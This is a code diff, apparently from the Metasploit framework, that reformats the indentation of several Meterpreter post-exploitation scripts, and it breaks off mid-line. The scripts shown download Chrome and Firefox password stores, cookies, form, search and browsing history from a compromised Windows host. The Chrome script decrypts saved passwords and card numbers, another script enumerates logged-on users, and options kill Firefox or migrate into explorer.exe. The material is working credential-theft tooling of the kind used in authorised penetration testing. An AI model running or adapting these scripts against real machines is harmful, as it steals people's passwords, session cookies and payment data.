print_line("USAGE: run enum_chrome [-m]") + print_line(opts.usage) + raise Rex::Script::Completed + end } @output_format << "json" if @output_format.empty? if @output_format.include?("json") - begin - require 'json' - rescue LoadError - print_error("JSON is not available.") - @output_format.delete("json") - if @output_format.empty? - print_status("Falling back to raw text output.") - @output_format << "text" - end - end + begin + require 'json' + rescue LoadError + print_error("JSON is not available.") + @output_format.delete("json") + if @output_format.empty? + print_status("Falling back to raw text output.") + @output_format << "text" + end + end end print_status("using output format(s): " + @output_format.join(", ")) def prepare_railgun - rg = client.railgun - if (!rg.get_dll('crypt32')) - rg.add_dll('crypt32') - end + rg = client.railgun + if (!rg.get_dll('crypt32')) + rg.add_dll('crypt32') + end - if (!rg.crypt32.functions["CryptUnprotectData"]) - rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [ - ["PBLOB","pDataIn", "in"], - ["PWCHAR", "szDataDescr", "out"], - ["PBLOB", "pOptionalEntropy", "in"], - ["PDWORD", "pvReserved", "in"], - ["PBLOB", "pPromptStruct", "in"], - ["DWORD", "dwFlags", "in"], - ["PBLOB", "pDataOut", "out"] - ]) - end + if (!rg.crypt32.functions["CryptUnprotectData"]) + rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [ + ["PBLOB","pDataIn", "in"], + ["PWCHAR", "szDataDescr", "out"], + ["PBLOB", "pOptionalEntropy", "in"], + ["PDWORD", "pvReserved", "in"], + ["PBLOB", "pPromptStruct", "in"], + ["DWORD", "dwFlags", "in"], + ["PBLOB", "pDataOut", "out"] + ]) + end end def decrypt_data(data) - rg = client.railgun - pid = client.sys.process.open.pid - process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + rg = client.railgun + pid = client.sys.process.open.pid + process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) - mem = process.memory.allocate(1024) - process.memory.write(mem, data) + mem = process.memory.allocate(1024) + process.memory.write(mem, data) - addr = [mem].pack("V") - len = [data.length].pack("V") - ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) - len, addr = ret["pDataOut"].unpack("V2") - return "" if len == 0 - decrypted = process.memory.read(addr, len) + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") + return "" if len == 0 + decrypted = process.memory.read(addr, len) end def write_output(file, rows) - if @output_format.include?("json") - ::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) } - end - if @output_format.include?("yaml") - ::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) } - end - if @output_format.include?("text") - ::File.open(file + ".txt", "w") do |f| - f.write(rows.first.keys.join("\t") + "\n") - f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n")) - end - end + if @output_format.include?("json") + ::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) } + end + if @output_format.include?("yaml") + ::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) } + end + if @output_format.include?("text") + ::File.open(file + ".txt", "w") do |f| + f.write(rows.first.keys.join("\t") + "\n") + f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n")) + end + end end def process_files(username) - @chrome_files.each do |item| - in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file]) - out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file]) - if item[:sql] - db = SQLite3::Database.new(in_file) - columns, *rows = db.execute2(item[:sql]) - db.close - rows.map! do |row| - res = Hash[*columns.zip(row).flatten] - if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM" - if @host_info['Architecture'] !~ /x64/ - item[:encrypted_fields].each do |field| - print_good("decrypting field '#{field}'...") - res[field + "_decrypted"] = decrypt_data(res[field]) - end - else - print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS") - end - end - res - end - if rows.length > 0 - print_status("writing output '#{item[:out_file]}'...") - write_output(out_file, rows) - else - print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'") - end - else - ::FileUtils.cp(in_file, out_file) - end - end + @chrome_files.each do |item| + in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file]) + out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file]) + if item[:sql] + db = SQLite3::Database.new(in_file) + columns, *rows = db.execute2(item[:sql]) + db.close + rows.map! do |row| + res = Hash[*columns.zip(row).flatten] + if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM" + if @host_info['Architecture'] !~ /x64/ + item[:encrypted_fields].each do |field| + print_good("decrypting field '#{field}'...") + res[field + "_decrypted"] = decrypt_data(res[field]) + end + else + print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS") + end + end + res + end + if rows.length > 0 + print_status("writing output '#{item[:out_file]}'...") + write_output(out_file, rows) + else + print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'") + end + else + ::FileUtils.cp(in_file, out_file) + end + end end def extract_data(username) - chrome_path = @profiles_path + "\\" + username + @data_path - begin - client.fs.file.stat(chrome_path) - rescue - print_status("no files found for user '#{username}'") - return false - end + chrome_path = @profiles_path + "\\" + username + @data_path + begin + client.fs.file.stat(chrome_path) + rescue + print_status("no files found for user '#{username}'") + return false + end - @chrome_files.map{ |e| e[:in_file] }.uniq.each do |f| - remote_path = chrome_path + '\\' + f - local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f) - print_status("downloading file #{f} to '#{local_path}'...") - client.fs.file.download_file(local_path, remote_path) - end - return true + @chrome_files.map{ |e| e[:in_file] }.uniq.each do |f| + remote_path = chrome_path + '\\' + f + local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f) + print_status("downloading file #{f} to '#{local_path}'...") + client.fs.file.download_file(local_path, remote_path) + end + return true end if @migrate - current_pid = client.sys.process.open.pid - target_pid = client.sys.process["explorer.exe"] - if target_pid != current_pid - @old_pid = current_pid - print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...") - client.core.migrate(target_pid) - print_status("done.") - end + current_pid = client.sys.process.open.pid + target_pid = client.sys.process["explorer.exe"] + if target_pid != current_pid + @old_pid = current_pid + print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...") + client.core.migrate(target_pid) + print_status("done.") + end end host = session.session_host @@ -198,11 +198,11 @@ host = session.session_host sysdrive = client.fs.file.expand_path("%SYSTEMDRIVE%") os = @host_info['OS'] if os =~ /(Windows 7|2008|Vista)/ - @profiles_path = sysdrive + "\\Users\\" - @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default" + @profiles_path = sysdrive + "\\Users\\" + @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default" elsif os =~ /(2000|NET|XP)/ - @profiles_path = sysdrive + "\\Documents and Settings\\" - @data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default" + @profiles_path = sysdrive + "\\Documents and Settings\\" + @data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default" end usernames = [] @@ -210,28 +210,28 @@ usernames = [] uid = client.sys.config.getuid if is_system? - print_status "running as SYSTEM, extracting user list..." - print_status "(decryption of passwords and credit card numbers will not be possible)" - client.fs.dir.foreach(@profiles_path) do |u| - usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - end - print_status "users found: #{usernames.join(", ")}" + print_status "running as SYSTEM, extracting user list..." + print_status "(decryption of passwords and credit card numbers will not be possible)" + client.fs.dir.foreach(@profiles_path) do |u| + usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + end + print_status "users found: #{usernames.join(", ")}" else - print_status "running as user '#{uid}'..." - usernames << client.fs.file.expand_path("%USERNAME%") - prepare_railgun + print_status "running as user '#{uid}'..." + usernames << client.fs.file.expand_path("%USERNAME%") + prepare_railgun end usernames.each do |u| - print_status("extracting data for user '#{u}'...") - success = extract_data(u) - process_files(u) if success + print_status("extracting data for user '#{u}'...") + success = extract_data(u) + process_files(u) if success end if @migrate && @old_pid - print_status("migrating back into PID=#{@old_pid}...") - client.core.migrate(@old_pid) - print_status("done.") + print_status("migrating back into PID=#{@old_pid}...") + client.core.migrate(@old_pid) + print_status("done.") end raise Rex::Script::Completed diff --git a/scripts/meterpreter/enum_firefox.rb b/scripts/meterpreter/enum_firefox.rb index b76630db7e..704fa179c1 100644 --- a/scripts/meterpreter/enum_firefox.rb +++ b/scripts/meterpreter/enum_firefox.rb @@ -15,270 +15,270 @@ filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # logfile name logfile = @logs + "/" + host + filenameinfo + ".txt" notusrs = [ - "Default", - "Default User", - "Public", - "LocalService", - "NetworkService", - "All Users" + "Default", + "Default User", + "Public", + "LocalService", + "NetworkService", + "All Users" ] #------------------------------------------------------------------------------- #Function for getting Firefox SQLite DB's def frfxplacesget(path,usrnm) - # Create the log - ::FileUtils.mkdir_p(@logs) - @client.fs.dir.foreach(path) {|x| - next if x =~ /^(\.|\.\.)$/ - fullpath = path + '\\' + x - if @client.fs.file.stat(fullpath).directory? - frfxplacesget(fullpath,usrnm) - elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i - dst = x - dst = @logs + ::File::Separator + usrnm + dst - print_status("\tDownloading Firefox Database file #{x} to '#{dst}'") - @client.fs.file.download_file(dst, fullpath) - end - } + # Create the log + ::FileUtils.mkdir_p(@logs) + @client.fs.dir.foreach(path) {|x| + next if x =~ /^(\.|\.\.)$/ + fullpath = path + '\\' + x + if @client.fs.file.stat(fullpath).directory? + frfxplacesget(fullpath,usrnm) + elsif fullpath =~ /(formhistory.sqlite|cookies.sqlite|places.sqlite|search.sqlite)/i + dst = x + dst = @logs + ::File::Separator + usrnm + dst + print_status("\tDownloading Firefox Database file #{x} to '#{dst}'") + @client.fs.file.download_file(dst, fullpath) + end + } end #------------------------------------------------------------------------------- #Function for processing the Firefox sqlite DB's def frfxdmp(usrnm) - sitesvisited = [] - dnldsmade = [] - bkmrks = [] - cookies = [] - formvals = '' - searches = '' - results = '' - placesdb = @logs + ::File::Separator + usrnm + "places.sqlite" - formdb = @logs + ::File::Separator + usrnm + "formhistory.sqlite" - searchdb = @logs + ::File::Separator + usrnm + "search.sqlite" - cookiesdb = @logs + ::File::Separator + usrnm + "cookies.sqlite" - bookmarks = @logs + ::File::Separator + usrnm + "_bookmarks.txt" - download_list = @logs + ::File::Separator + usrnm + "_download_list.txt" - url_history = @logs + ::File::Separator + usrnm + "_history.txt" - form_history = @logs + ::File::Separator + usrnm + "_form_history.txt" - search_history = @logs + ::File::Separator + usrnm + "_search_history.txt" - begin - print_status("\tGetting Firefox Bookmarks for #{usrnm}") - db = SQLite3::Database.new(placesdb) - #print_status("\tProcessing #{placesdb}") + sitesvisited = [] + dnldsmade = [] + bkmrks = [] + cookies = [] + formvals = '' + searches = '' + results = '' + placesdb = @logs + ::File::Separator + usrnm + "places.sqlite" + formdb = @logs + ::File::Separator + usrnm + "formhistory.sqlite" + searchdb = @logs + ::File::Separator + usrnm + "search.sqlite" + cookiesdb = @logs + ::File::Separator + usrnm + "cookies.sqlite" + bookmarks = @logs + ::File::Separator + usrnm + "_bookmarks.txt" + download_list = @logs + ::File::Separator + usrnm + "_download_list.txt" + url_history = @logs + ::File::Separator + usrnm + "_history.txt" + form_history = @logs + ::File::Separator + usrnm + "_form_history.txt" + search_history = @logs + ::File::Separator + usrnm + "_search_history.txt" + begin + print_status("\tGetting Firefox Bookmarks for #{usrnm}") + db = SQLite3::Database.new(placesdb) + #print_status("\tProcessing #{placesdb}") - db.execute('select a.url from moz_places a, moz_bookmarks b, '+ - 'moz_bookmarks_roots c where a.id=b.fk and parent=2'+ - ' and folder_id=2 and a.hidden=0') do |row| - bkmrks << row - end - print_status("\tSaving to #{bookmarks}") - if bkmrks.length != 0 - bkmrks.each do |b| - file_local_write(bookmarks,"\t#{b.to_s}\n") - end - else - print_status("\tIt appears that there are no bookmarks for this account") - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - #-------------------------------------------------------------------------- - begin - print_status("\tGetting list of Downloads using Firefox made by #{usrnm}") - db.execute('SELECT url FROM moz_places, moz_historyvisits ' + - 'WHERE moz_places.id = moz_historyvisits.place_id '+ - 'AND visit_type = "7" ORDER by visit_date') do |row| - dnldsmade << row - end - print_status("\tSaving Download list to #{download_list}") - if dnldsmade.length != 0 - dnldsmade.each do |d| - file_local_write(download_list,"\t#{d.to_s} \n") - end - else - print_status("\tIt appears that downloads where cleared for this account") - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - #-------------------------------------------------------------------------- - begin - print_status("\tGetting Firefox URL History for #{usrnm}") - db.execute('SELECT DISTINCT url FROM moz_places, moz_historyvisits ' + - 'WHERE moz_places.id = moz_historyvisits.place_id ' + - 'AND visit_type = "1" ORDER by visit_date' ) do |row| - sitesvisited << row - end - print_status("\tSaving URL History to #{url_history}") - if sitesvisited.length != 0 - sitesvisited.each do |s| - file_local_write(url_history,"\t#{s.to_s}\n") - end - else - print_status("\tIt appears that Browser History has been cleared") - end - db.close - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - #-------------------------------------------------------------------------- - begin - print_status("\tGetting Firefox Form History for #{usrnm}") - db = SQLite3::Database.new(formdb) - #print_status("\tProcessing #{formdb}") - db.execute("SELECT fieldname,value FROM moz_formhistory") do |row| - formvals << "\tField: #{row[0]} Value: #{row[1]}\n" - end - print_status("\tSaving Firefox Form History to #{form_history}") - if formvals.length != 0 - file_local_write(form_history,formvals) - else - print_status("\tIt appears that Form History has been cleared") - end - db.close - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + db.execute('select a.url from moz_places a, moz_bookmarks b, '+ + 'moz_bookmarks_roots c where a.id=b.fk and parent=2'+ + ' and folder_id=2 and a.hidden=0') do |row| + bkmrks << row + end + print_status("\tSaving to #{bookmarks}") + if bkmrks.length != 0 + bkmrks.each do |b| + file_local_write(bookmarks,"\t#{b.to_s}\n") + end + else + print_status("\tIt appears that there are no bookmarks for this account") + end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + #-------------------------------------------------------------------------- + begin + print_status("\tGetting list of Downloads using Firefox made by #{usrnm}") + db.execute('SELECT url FROM moz_places, moz_historyvisits ' + + 'WHERE moz_places.id = moz_historyvisits.place_id '+ + 'AND visit_type = "7" ORDER by visit_date') do |row| + dnldsmade << row + end + print_status("\tSaving Download list to #{download_list}") + if dnldsmade.length != 0 + dnldsmade.each do |d| + file_local_write(download_list,"\t#{d.to_s} \n") + end + else + print_status("\tIt appears that downloads where cleared for this account") + end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + #-------------------------------------------------------------------------- + begin + print_status("\tGetting Firefox URL History for #{usrnm}") + db.execute('SELECT DISTINCT url FROM moz_places, moz_historyvisits ' + + 'WHERE moz_places.id = moz_historyvisits.place_id ' + + 'AND visit_type = "1" ORDER by visit_date' ) do |row| + sitesvisited << row + end + print_status("\tSaving URL History to #{url_history}") + if sitesvisited.length != 0 + sitesvisited.each do |s| + file_local_write(url_history,"\t#{s.to_s}\n") + end + else + print_status("\tIt appears that Browser History has been cleared") + end + db.close + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + #-------------------------------------------------------------------------- + begin + print_status("\tGetting Firefox Form History for #{usrnm}") + db = SQLite3::Database.new(formdb) + #print_status("\tProcessing #{formdb}") + db.execute("SELECT fieldname,value FROM moz_formhistory") do |row| + formvals << "\tField: #{row[0]} Value: #{row[1]}\n" + end + print_status("\tSaving Firefox Form History to #{form_history}") + if formvals.length != 0 + file_local_write(form_history,formvals) + else + print_status("\tIt appears that Form History has been cleared") + end + db.close + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end - begin - print_status("\tGetting Firefox Search History for #{usrnm}") - db = SQLite3::Database.new(searchdb) - #print_status("\tProcessing #{searchdb}") - db.execute("SELECT name,value FROM engine_data") do |row| - searches << "\tField: #{row[0]} Value: #{row[1]}\n" - end - print_status("\tSaving Firefox Search History to #{search_history}") - if searches.length != 0 - file_local_write(search_history,searches) - else - print_status("\tIt appears that Search History has been cleared") - end - db.close - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end - # Create Directory for dumping Firefox cookies - ckfldr = ::File.join(@logs,"firefoxcookies_#{usrnm}") - ::FileUtils.mkdir_p(ckfldr) - db = SQLite3::Database.new(cookiesdb) - db.results_as_hash = true - print_status("\tGetting Firefox Cookies for #{usrnm}") - db.execute("SELECT * FROM moz_cookies;" ) do |item| - fd = ::File.new(ckfldr + ::File::Separator + item['id'].to_s + "_" + item['host'].to_s + ".txt", "w+") - fd.puts "Name: " + item['name'] + "\n" - fd.puts "Value: " + item['value'].to_s + "\n" - fd.puts "Host: " + item['host'] + "\n" - fd.puts "Path: " + item['path'] + "\n" - fd.puts "Expiry: " + item['expiry'].to_s + "\n" - fd.puts "lastAccessed: " + item['lastAccessed'].to_s + "\n" - fd.puts "isSecure: " + item['isSecure'].to_s + "\n" - fd.puts "isHttpOnly: " + item['isHttpOnly'].to_s + "\n" - fd.close - end - return results + begin + print_status("\tGetting Firefox Search History for #{usrnm}") + db = SQLite3::Database.new(searchdb) + #print_status("\tProcessing #{searchdb}") + db.execute("SELECT name,value FROM engine_data") do |row| + searches << "\tField: #{row[0]} Value: #{row[1]}\n" + end + print_status("\tSaving Firefox Search History to #{search_history}") + if searches.length != 0 + file_local_write(search_history,searches) + else + print_status("\tIt appears that Search History has been cleared") + end + db.close + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + # Create Directory for dumping Firefox cookies + ckfldr = ::File.join(@logs,"firefoxcookies_#{usrnm}") + ::FileUtils.mkdir_p(ckfldr) + db = SQLite3::Database.new(cookiesdb) + db.results_as_hash = true + print_status("\tGetting Firefox Cookies for #{usrnm}") + db.execute("SELECT * FROM moz_cookies;" ) do |item| + fd = ::File.new(ckfldr + ::File::Separator + item['id'].to_s + "_" + item['host'].to_s + ".txt", "w+") + fd.puts "Name: " + item['name'] + "\n" + fd.puts "Value: " + item['value'].to_s + "\n" + fd.puts "Host: " + item['host'] + "\n" + fd.puts "Path: " + item['path'] + "\n" + fd.puts "Expiry: " + item['expiry'].to_s + "\n" + fd.puts "lastAccessed: " + item['lastAccessed'].to_s + "\n" + fd.puts "isSecure: " + item['isSecure'].to_s + "\n" + fd.puts "isHttpOnly: " + item['isHttpOnly'].to_s + "\n" + fd.close + end + return results end #------------------------------------------------------------------------------- #Function for getting password files def frfxpswd(path,usrnm) - @client.fs.dir.foreach(path) {|x| - next if x =~ /^(\.|\.\.)$/ - fullpath = path + '\\' + x + @client.fs.dir.foreach(path) {|x| + next if x =~ /^(\.|\.\.)$/ + fullpath = path + '\\' + x - if @client.fs.file.stat(fullpath).directory? - frfxpswd(fullpath,usrnm) - elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i - begin - dst = x - dst = @logs + ::File::Separator + usrnm + dst - print_status("\tDownloading Firefox Password file to '#{dst}'") - @client.fs.file.download_file(dst, fullpath) - rescue - print_error("\t******Failed to download file #{x}******") - print_error("\t******Browser could be running******") - end - end - } + if @client.fs.file.stat(fullpath).directory? + frfxpswd(fullpath,usrnm) + elsif fullpath =~ /(cert8.db|signons.sqlite|signons3.txt|key3.db)/i + begin + dst = x + dst = @logs + ::File::Separator + usrnm + dst + print_status("\tDownloading Firefox Password file to '#{dst}'") + @client.fs.file.download_file(dst, fullpath) + rescue + print_error("\t******Failed to download file #{x}******") + print_error("\t******Browser could be running******") + end + end + } end #------------------------------------------------------------------------------- # Function for checking if Firefox is installed def frfxchk - found = false - registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall").each do |a| - if a =~ /Firefox/ - print_status("Firefox was found on this system.") - found = true - end - end - return found + found = false + registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall").each do |a| + if a =~ /Firefox/ + print_status("Firefox was found on this system.") + found = true + end + end + return found end #------------------------------------------------------------------------------- #Function for executing all pilfering actions for Firefox def frfxpilfer(frfoxdbloc,session,logs,usrnm,logfile) - print_status("Getting Firefox information for user #{usrnm}") - frfxplacesget(frfoxdbloc,usrnm) - frfxpswd(frfoxdbloc,usrnm) - file_local_write(logfile,frfxdmp(usrnm)) + print_status("Getting Firefox information for user #{usrnm}") + frfxplacesget(frfoxdbloc,usrnm) + frfxpswd(frfoxdbloc,usrnm) + file_local_write(logfile,frfxdmp(usrnm)) end # Function to kill Firefox if open def kill_firefox - print_status("Killing the Firefox Process if open...") - @client.sys.process.get_processes().each do |x| - if x['name'].downcase == "firefox.exe" - print_status("\tFirefox Process found #{x['name']} #{x['pid']}") - print_status("\tKilling process .....") - session.sys.process.kill(x['pid']) - end - end + print_status("Killing the Firefox Process if open...") + @client.sys.process.get_processes().each do |x| + if x['name'].downcase == "firefox.exe" + print_status("\tFirefox Process found #{x['name']} #{x['pid']}") + print_status("\tKilling process .....") + session.sys.process.kill(x['pid']) + end + end end ####################### Options ########################### @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-k" => [ false, "Kill Firefox processes before downloading databases for enumeration."] + "-h" => [ false, "Help menu." ], + "-k" => [ false, "Kill Firefox processes before downloading databases for enumeration."] ) @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for extracting Firefox Browser." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - when "-k" - kill_frfx = true - end + case opt + when "-h" + print_line "Meterpreter Script for extracting Firefox Browser." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + when "-k" + kill_frfx = true + end } if client.platform =~ /win32|win64/ - if frfxchk - user = @client.sys.config.getuid - if not is_system? - usrname = Rex::FileUtils.clean_path(@client.fs.file.expand_path("%USERNAME%")) - db_path = @client.fs.file.expand_path("%APPDATA%") + "\\Mozilla\\Firefox\\Profiles" - if kill_frfx - kill_firefox - end - print_status("Extracting Firefox data for user #{usrname}") - frfxpswd(db_path,usrname) - frfxplacesget(db_path,usrname) - frfxdmp(usrname) - else - registry_enumkeys("HKU").each do |sid| - if sid =~ /S-1-5-21-\d*-\d*-\d*-\d{4}$/ - key_base = "HKU\\#{sid}" - usrname = Rex::FileUtils.clean_path(registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME")) - db_path = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + "\\Mozilla\\Firefox\\Profiles" - if kill_frfx - kill_firefox - end - print_status("Extracting Firefox data for user #{usrname}") - frfxpswd(db_path,usrname) - frfxplacesget(db_path,usrname) - frfxdmp(usrname) - end - end - end + if frfxchk + user = @client.sys.config.getuid + if not is_system? + usrname = Rex::FileUtils.clean_path(@client.fs.file.expand_path("%USERNAME%")) + db_path = @client.fs.file.expand_path("%APPDATA%") + "\\Mozilla\\Firefox\\Profiles" + if kill_frfx + kill_firefox + end + print_status("Extracting Firefox data for user #{usrname}") + frfxpswd(db_path,usrname) + frfxplacesget(db_path,usrname) + frfxdmp(usrname) + else + registry_enumkeys("HKU").each do |sid| + if sid =~ /S-1-5-21-\d*-\d*-\d*-\d{4}$/ + key_base = "HKU\\#{sid}" + usrname = Rex::FileUtils.clean_path(registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME")) + db_path = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + "\\Mozilla\\Firefox\\Profiles" + if kill_frfx + kill_firefox + end + print_status("Extracting Firefox data for user #{usrname}") + frfxpswd(db_path,usrname) + frfxplacesget(db_path,usrname) + frfxdmp(usrname) + end + end + end - end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_logged_on_users.rb b/scripts/meterpreter/enum_logged_on_users.rb index d38d35e240..2cfd630ceb 100644 --- a/scripts/meterpreter/enum_logged_on_users.rb +++ b/scripts/meterpreter/enum_logged_on_users.rb @@ -6,89 +6,89 @@ ######################## Functions ######################## def ls_logged - sids = [] - sids << registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Logged Users", - 'Indent' => 1, - 'Columns' => - [ - "SID", - "Profile Path" - ]) - sids.flatten.each do |sid| - profile_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{sid}","ProfileImagePath") - tbl << [sid,profile_path] - end - print_line("\n" + tbl.to_s + "\n") + sids = [] + sids << registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList") + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Logged Users", + 'Indent' => 1, + 'Columns' => + [ + "SID", + "Profile Path" + ]) + sids.flatten.each do |sid| + profile_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\#{sid}","ProfileImagePath") + tbl << [sid,profile_path] + end + print_line("\n" + tbl.to_s + "\n") end def ls_current - key_base, username = "","" - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Current Logged Users", - 'Indent' => 1, - 'Columns' => - [ - "SID", - "User" - ]) - registry_enumkeys("HKU").each do |sid| - case sid - when "S-1-5-18" - username = "SYSTEM" - tbl << [sid,username] - when "S-1-5-19" - username = "Local Service" - tbl << [sid,username] - when "S-1-5-20" - username = "Network Service" - tbl << [sid,username] - else - if sid =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ - key_base = "HKU\\#{sid}" - os = @client.sys.config.sysinfo['OS'] - if os =~ /(Windows 7|2008|Vista)/ - username = registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME") - elsif os =~ /(2000|NET|XP)/ - appdata_var = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") - username = '' - if appdata_var =~ /^\w\:\D*\\(\D*)\\\D*$/ - username = $1 - end - end - tbl << [sid,username] - end - end - end - print_line("\n" + tbl.to_s + "\n") + key_base, username = "","" + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Current Logged Users", + 'Indent' => 1, + 'Columns' => + [ + "SID", + "User" + ]) + registry_enumkeys("HKU").each do |sid| + case sid + when "S-1-5-18" + username = "SYSTEM" + tbl << [sid,username] + when "S-1-5-19" + username = "Local Service" + tbl << [sid,username] + when "S-1-5-20" + username = "Network Service" + tbl << [sid,username] + else + if sid =~ /S-1-5-21-\d*-\d*-\d*-\d*$/ + key_base = "HKU\\#{sid}" + os = @client.sys.config.sysinfo['OS'] + if os =~ /(Windows 7|2008|Vista)/ + username = registry_getvaldata("#{key_base}\\Volatile Environment","USERNAME") + elsif os =~ /(2000|NET|XP)/ + appdata_var = registry_getvaldata("#{key_base}\\Volatile Environment","APPDATA") + username = '' + if appdata_var =~ /^\w\:\D*\\(\D*)\\\D*$/ + username = $1 + end + end + tbl << [sid,username] + end + end + end + print_line("\n" + tbl.to_s + "\n") end #------------------------------------------------------------------------------- ####################### Options ########################### @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-l" => [ false, "List SID's of users who have loged in to the host." ], - "-c" => [ false, "List SID's of currently loged on users." ] - ) + "-h" => [ false, "Help menu." ], + "-l" => [ false, "List SID's of users who have loged in to the host." ], + "-c" => [ false, "List SID's of currently loged on users." ] + ) @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - when "-l" - ls_logged - when "-c" - ls_current - end + case opt + when "-h" + print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + when "-l" + ls_logged + when "-c" + ls_current + end } if client.platform =~ /win32|win64/ - if args.length == 0 - print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + if args.length == 0 + print_line "Meterpreter Script for enumerating Current logged users and users that have loged in to the system." + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_powershell_env.rb b/scripts/meterpreter/enum_powershell_env.rb index 613b4923a0..b814acd0f4 100644 --- a/scripts/meterpreter/enum_powershell_env.rb +++ b/scripts/meterpreter/enum_powershell_env.rb @@ -3,123 +3,123 @@ @client = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("enum_scripting_env -- Enumerates PowerShell and WSH Configurations") - print_line("USAGE: run enum_scripting_env") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("enum_scripting_env -- Enumerates PowerShell and WSH Configurations") + print_line("USAGE: run enum_scripting_env") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed + end } #Support Functions #------------------------------------------------------------------------------- def enum_users - os = @client.sys.config.sysinfo['OS'] - users = [] - user = @client.sys.config.getuid - path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + os = 